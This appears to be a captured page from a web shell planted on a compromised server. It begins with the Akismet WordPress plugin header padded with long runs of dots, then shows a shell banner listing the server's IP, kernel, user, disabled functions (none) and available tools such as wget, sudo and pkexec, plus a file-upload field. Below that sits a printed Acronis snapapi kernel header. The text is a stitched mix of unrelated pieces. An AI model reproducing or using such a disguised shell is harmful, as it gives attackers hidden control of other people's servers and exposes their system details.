#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/src/snapapi26-1.0.5/ |
Upload File : |
#ifndef _LINUX_SNUMBDCALLUSER_H
#define _LINUX_SNUMBDCALLUSER_H
/* snumbd.h
Copyright (C) Acronis, 2004
Copyright (C) CyberProtect
*/
#ifdef __linux__
#include <linux/types.h>
#include <linux/ioctl.h>
#endif
#include "sn_huge_ptr.h"
#include "version.h"
#define SNUMBD_NAME "snumbd"
#define SNUMBDCTL_NAME "snumbdctl"
#pragma pack(1)
struct snumbdctl_init {
unsigned long long scount; /* sectors count (sector = 512) */
int dev_ro; /* read-only mode */
};
struct snumbdctl_init_v2 {
unsigned long long scount; /* blocks count */
unsigned int sector_size; /* block size */
int dev_ro; /* read-only mode */
};
struct snumbd_req { /* to user level */
unsigned int cmd;
unsigned int offset;
unsigned long long sno; /* sector no */
unsigned int len;
#define READ_DATA 0
#define WRITE_DATA 1
#define STOP 2
#define ERROR_FLAG (1<<(sizeof(unsigned int)*8 - 1))
};
struct snumbdctl_req { /* to user level */
SN_HUGE_PTR(struct snumbd_req *req); /* user-level buffer */
unsigned int size; /* size of user buf */
};
struct snumbdctl_dataready {
SN_HUGE_PTR(const struct snumbd_req *req);/* user-level buffer */
unsigned int size;
};
struct snumbd_state {
unsigned int version;
unsigned int major;
unsigned int minor;
unsigned int state; /* session state */
unsigned int hpid; /* usermode host pid */
unsigned long long scount; /* blocks count (512 <= block <= 4096) */
int mmapsize; /* mmap max size in bytes */
/* current values */
unsigned int sessions; /* total number of sessions */
unsigned int gpages; /* got pages */
unsigned int ppages; /* put pages */
unsigned int ioctlcnt;
int users;
/* session states */
#define SNUM_NOTINITED 0
#define SNUM_ININIT 1
#define SNUM_INITED 2
#define SNUM_WAKEUP_REQ 3
#define SNUM_REQ_RECV 4
#define SNUM_DATA_READY 5
#define SNUM_ACTIVATING_ERR (1 << 8)
#define SNUM_SESSION_ERR (2 << 8)
#define SNUM_DEADLOCK_ERR (3 << 8)
#define IS_ERROR_STATE(x) ((x) >= SNUM_ACTIVATING_ERR)
};
struct snumbdctl_state { /* current session state */
SN_HUGE_PTR(struct snumbd_state *state);/* user-level buffer */
unsigned int size; /* size of user buf */
};
struct snumbdctl_states { /* all sessions states */
SN_HUGE_PTR(struct snumbd_state *state);/* user-level buffer */
unsigned int size; /* size of user buf */
};
struct snumbdctl_pgrp { /* Allowed PGRP */
pid_t allowed_pgrp;
};
#define SNUMBDCTL_INIT _IO(CTLTYPE, 0)
#define SNUMBDCTL_STOP _IO(CTLTYPE, 1)
#define SNUMBDCTL_REQ _IOW(CTLTYPE, 2, \
struct snumbdctl_req)
#define SNUMBDCTL_DATAREADY _IOW(CTLTYPE, 3, \
struct snumbdctl_dataready)
#define SNUMBDCTL_STATE _IOW(CTLTYPE, 4, \
struct snumbdctl_state)
#define SNUMBDCTL_STATES _IOW(CTLTYPE, 5, \
struct snumbdctl_state)
#define SNUMBDCTL_INIT_V2 _IO(CTLTYPE, 6)
#define SNUMBDCTL_PGRP _IOW(CTLTYPE, 7, \
struct snumbdctl_pgrp)
#pragma pack()
#endif /* _LINUX_SNUMBDCALLUSER_H */